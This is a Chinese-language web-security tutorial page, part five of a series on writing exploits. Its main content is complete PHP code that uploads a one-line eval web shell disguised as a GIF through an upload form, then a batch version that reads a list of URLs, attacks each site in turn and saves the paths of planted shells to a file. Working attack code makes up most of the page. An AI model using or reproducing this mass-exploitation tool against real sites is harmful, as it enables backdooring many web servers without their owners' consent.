WEB安全第七章exp编写五

  • A+
所属分类:moonsec_com
摘要

WEB安全第七章exp编写五 批量GETSHELL编写 第一篇 简单的exp编写 第四篇 存在权限限制exp编写

WEB安全第七章exp编写五 批量GETSHELL编写

第一篇 简单的exp编写

第二篇 exp编写二 POST注入exp编写
第三篇 getshell exp的编写

第四篇 存在权限限制exp编写

通过以上exp学习,基本的exp编写,应该问题不大,接下来就学习的批量exp编写。

批量exp 有什么用,例如某个大型cms【cms内容管理系统】如dedecms、WordPress、phpcms 突然出了漏洞。各大安全src发布预警信息。

经过安全研究员摸索,poc很快地发布到网上,提供安全人员检测。 网站管理员 和运维dog 也开始 处理这次事件。

你的企业或任务上很多这样的网站,并不知道是否存在漏洞,总不能每个用手工去测试。

这样就要提高效率,进行批量测试。

php学习

以前编写的exp脚本 都需要命令行运行 exp  如: php.exe exp.php  这样感觉不够人性化,也不方便。

想要在php.exe exp.php filename.txt   filename.txt 里面是你要检测的网址。

如何做到这点。 php提供了一个变量 $argv  当这个变量仅在 register_argc_argv 打开时可用。 注参开 http://php.net/manual/zh/reserved.variables.argv.php

<?php var_dump($argv);?>  终端下运行 php argv.php url.txt

WEB安全第七章exp编写五

通过这个命令可以看出 这里有两个数组 0默认是脚本名 1 是txt文件名。

漏洞就拿 暗月靶机系统 上传漏洞测试那个exp

<?php  function http_send($host, $packet){          $sock = fsockopen($host, 80);                  if(!$sock){                 print "/n[-] No response from {$host}:80 Trying again...";                 $sock = fsockopen($host, 80);         }                  fputs($sock, $packet);                  while (!feof($sock)) {                  $resp .= fread($sock, 1024);         }                  fclose($sock);         return $resp;  }    function data($host,$filename){                  $payload  = "-----------------------------86531354118821/r/n";         $payload .= "Content-Disposition: form-data; name="file"; filename="{$filename}"/r/n";         $payload .= "Content-Type:  image/jpeg/r/n/r/n";         $payload .= 'GIF89a'."/r/n".'<?php eval($_POST[a]) ?>'."/r/n";         $payload .= "-----------------------------86531354118821/r/n";         $payload .= "Content-Disposition: form-data; name="sub"";         $payload .="/r/n/r/n";         $payload .="12132/r/n";         $payload .="-----------------------------86531354118821--/r/n";         $packet  = "POST /upload.php HTTP/1.1/r/n";         $packet .= "Host: {$host}/r/n";         $packet .= "Content-Type: multipart/form-data; boundary=---------------------------86531354118821/r/n";         $packet .= "Content-Length: ".strlen($payload)."/r/n";         $packet .= "Connection: close/r/n/r/n";         $packet .= $payload;                  return $packet;  }   $filename  = "moon.php"; $host = "target_sys.com"; $html_str =http_send($host,data($host,$filename));  preg_match("/Stored in: (.*?)</", $html_str,$m);  if ($m[1]){         echo "http://".$host."/".$m[1]; }else{         echo "flase"; }

这个exp 现在进行修改。修改的思路是 读取文件,将里的url遍历测试,把结果保存起来。

<?php function http_send($host, $packet){          $sock = fsockopen($host, 80);                  if(!$sock){                 print "/n[-] No response from {$host}:80 Trying again...";                 $sock = fsockopen($host, 80);         }                  fputs($sock, $packet);                  while (!feof($sock)) {                  $resp .= fread($sock, 1024);         }                  fclose($sock);         return $resp;  }    function data($host,$filename){                  $payload  = "-----------------------------86531354118821/r/n";         $payload .= "Content-Disposition: form-data; name="file"; filename="{$filename}"/r/n";         $payload .= "Content-Type:  image/jpeg/r/n/r/n";         $payload .= 'GIF89a'."/r/n".'<?php eval($_POST[a]) ?>'."/r/n";         $payload .= "-----------------------------86531354118821/r/n";         $payload .= "Content-Disposition: form-data; name="sub"";         $payload .="/r/n/r/n";         $payload .="12132/r/n";         $payload .="-----------------------------86531354118821--/r/n";         $packet  = "POST /upload.php HTTP/1.1/r/n";         $packet .= "Host: {$host}/r/n";         $packet .= "Content-Type: multipart/form-data; boundary=---------------------------86531354118821/r/n";         $packet .= "Content-Length: ".strlen($payload)."/r/n";         $packet .= "Connection: close/r/n/r/n";         $packet .= $payload;                  return $packet;  }    function w($fileName,$data){         fwrite(fopen($fileName,"a+"),$data."/r/n");  }   function exploit($host){         $filename  = "moon.php";         $resulit='';         $html_str =http_send($host,data($host,$filename));         preg_match("/Stored in: (.*?)</", $html_str,$m);         if ($m[1]){                 $resulit="http://".$host."/".$m[1];         }         return $resulit;  }   if(count($argv)<3){         print $argv[0]." url.txt save.txt";         exit; }   $url_txt = $argv[1];  $sava_file = $argv[2];  $myurl = file($url_txt);   foreach ($myurl as $value){                 echo "Testing {$value}";                 $v = substr($value,strpos($value,"//")+2);                 $v = trim(str_replace("/","",$v));                 $result = exploit($v);                 if($result){                                                  w($sava_file,$result);                 }                 sleep(1); } 

下载 exp4.rar WEB安全第七章exp编写五 测试结果 WEB安全第七章exp编写五

foreach ($myurl as $value){                 echo "Testing {$value}";                 $v = substr($value,strpos($value,"//")+2);                 $v = trim(str_replace("/","",$v));                 $result = exploit($v);                 if($result){                                                  w($sava_file,$result);                 }                 sleep(1); }

个部分就是 遍历检测url的代码。 将结果保存在  $sava_file = save.txt

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: